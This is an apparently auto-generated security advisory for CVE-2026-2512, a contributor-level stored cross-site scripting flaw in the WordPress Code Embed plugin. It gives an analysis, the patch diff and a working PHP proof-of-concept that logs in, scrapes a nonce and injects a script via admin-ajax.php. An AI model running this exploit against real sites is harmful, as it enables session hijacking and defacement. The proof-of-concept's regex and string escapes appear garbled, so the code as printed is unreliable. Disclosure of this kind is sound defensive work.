Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2512: Code Embed <= 2.5.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Fields (simple-embed-code)

CVE ID CVE-2026-2512
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.5.1
Patched Version 2.5.2
Disclosed March 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2512:
The vulnerability exists because the Code Embed plugin’s sanitization function `sec_check_post_fields()` only executes on the `save_post` hook. WordPress provides an alternative method for adding custom fields via the `wp_ajax_add_meta` AJAX endpoint, which bypasses the `save_post` hook entirely. This endpoint is accessible to authenticated users with Contributor-level permissions or higher. When a malicious user submits a custom field with the plugin’s keyword prefix (e.g., `%code%`) containing JavaScript payloads via the AJAX endpoint, the plugin’s `ce_filter()` function later outputs the unsanitized meta value directly into page content without escaping. The root cause is the incomplete coverage of metadata write operations by the original security function.

The exploitation method requires an authenticated attacker with at least Contributor privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `add-meta`. The request must include `_ajax_nonce` (obtained from the post edit screen), `post_id`, `meta_key` (prefixed with the plugin’s keyword identifier, default `%code%`), and `meta_value` containing the XSS payload. The payload executes when any user views the post where the malicious custom field is embedded.

The patch replaces the `save_post` hook with filters on `update_post_metadata` and `add_post_metadata`. The new function `sec_sanitize_meta_on_write()` intercepts all metadata writes, including those via AJAX and REST API. It applies `wp_kses_post()` sanitization to any meta key matching the plugin’s prefix for users without `unfiltered_html` capability. The function temporarily removes itself to avoid recursion, writes the sanitized value, then re-adds the filter. This ensures all write paths are covered.

Successful exploitation allows stored XSS attacks. Attackers can inject arbitrary JavaScript that executes in the context of any user viewing the compromised post. This can lead to session hijacking, administrative actions performed by victims, or defacement.

Differential between vulnerable and patched code

Code Diff
--- a/simple-embed-code/includes/secure.php
+++ b/simple-embed-code/includes/secure.php
@@ -1,8 +1,8 @@
 <?php
 /**
- * Meta boxes
+ * Security
  *
- * Functions related to meta-box management.
+ * Functions related to sanitizing Code Embed meta values.
  *
  * @package simple-embed-code
  */
@@ -14,42 +14,58 @@
 }

 /**
- * Remove Custom Fields
+ * Sanitize Code Embed meta on every write
  *
- * Remove the custom field meta boxes if the user doesn't have the unfiltered HTML permissions.
+ * Filter that fires on every call to update_metadata / add_metadata — including the
+ * wp_ajax_add_meta AJAX handler and the REST API, not just save_post.
  *
- * @param    string  $post_id   Post ID.
- * @param    string  $post      Post object.
- * @param    boolean $update    Whether this is an existing post being updated.
+ * @param mixed  $check      Null to allow the operation, non-null to short-circuit.
+ * @param int    $object_id  Post ID.
+ * @param string $meta_key   Meta key being written.
+ * @param mixed  $meta_value Meta value being written.
+ * @return mixed             Null (to proceed with the write).
  */
-function sec_check_post_fields( $post_id, $post, $update ) {
+function sec_sanitize_meta_on_write( $check, $object_id, $meta_key, $meta_value ) {
+
+	// Allow admins / editors with unfiltered_html to write without restriction.
+	if ( current_user_can( 'unfiltered_html' ) ) {
+		return $check;
+	}

 	$options = get_option( 'artiss_code_embed' );

-	// Check if it's an autosave or if the current user has the 'unfiltered_html' capability.
-	if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) || ( current_user_can( 'unfiltered_html' ) ) ) {
-		return;
+	if ( ! is_array( $options ) || empty( $options['keyword_ident'] ) ) {
+		return $check;
 	}

-	// Fetch all post meta (custom fields) associated with the post.
-	$custom_fields = get_post_meta( $post_id );
+	$prefix = $options['keyword_ident'];

-	// If there are custom fields, read through them.
-	if ( ! empty( $custom_fields ) ) {
+	// Only act on meta keys that belong to this plugin.
+	if ( substr( $meta_key, 0, strlen( $prefix ) ) !== $prefix ) {
+		return $check;
+	}

-		foreach ( $custom_fields as $key => $value ) {
+	// Strip dangerous markup while preserving safe HTML.
+	$clean = wp_kses_post( $meta_value );

-			// Check to see if any begining with this plugin's prefix.
-			if ( substr( $key, 0, strlen( $options['keyword_ident'] ) ) === $options['keyword_ident'] ) {
+	if ( $clean === $meta_value ) {
+		// Value is already clean — let the normal write proceed.
+		return $check;
+	}

-				// Filter the meta value.
-				$new_value = wp_kses_post( $value[0] );
+	// The value was dirty. Remove this filter temporarily to avoid infinite recursion, write the sanitized value ourselves, then
+	// re-add the filter and short-circuit the original write.
+	remove_filter( 'update_post_metadata', 'sec_sanitize_meta_on_write', 10 );
+	remove_filter( 'add_post_metadata', 'sec_sanitize_meta_on_write', 10 );

-				// Now write out the new value.
-				update_post_meta( $post_id, $key, $new_value );
-			}
-		}
-	}
+	update_post_meta( $object_id, $meta_key, $clean );
+
+	add_filter( 'update_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
+	add_filter( 'add_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
+
+	// Return a non-null value to short-circuit the original (unsanitized) write.
+	return true;
 }

-add_action( 'save_post', 'sec_check_post_fields', 10, 3 );
+add_filter( 'update_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
+add_filter( 'add_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
--- a/simple-embed-code/simple-code-embed.php
+++ b/simple-embed-code/simple-code-embed.php
@@ -9,7 +9,7 @@
  * Plugin Name:       Code Embed
  * Plugin URI:        https://wordpress.org/plugins/simple-embed-code/
  * Description:       Code Embed provides a very easy and efficient way to embed code (JavaScript and HTML) in your posts and pages.
- * Version:           2.5.1
+ * Version:           2.5.2
  * Requires at least: 4.6
  * Requires PHP:      7.4
  * Author:            David Artiss
@@ -26,7 +26,7 @@
  * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
  */

-define( 'CODE_EMBED_VERSION', '2.5.1' );
+define( 'CODE_EMBED_VERSION', '2.5.2' );

 // Define global to hold the plugin base file name.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2512 - Code Embed <= 2.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Fields
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'contributor';
$password = 'password';
$post_id = 123; // Target post ID
$payload = '<script>alert(document.domain)</script>';
$keyword_prefix = '%code%'; // Default plugin prefix

// Step 1: Authenticate and get cookies
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In']),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true
]);
curl_exec($ch);

// Step 2: Get nonce from post edit screen
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit',
    CURLOPT_POST => false,
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
preg_match('/"add-meta"s*:s*"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Exploit via wp_ajax_add_meta endpoint
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'add-meta',
        '_ajax_nonce' => $nonce,
        'post_id' => $post_id,
        'meta_key' => $keyword_prefix . '_xss',
        'meta_value' => $payload
    ]),
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true
]);
$result = curl_exec($ch);
curl_close($ch);

echo ($result && strpos($result, '"success"') !== false) ? "Payload injected successfullyn" : "Injection failedn";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School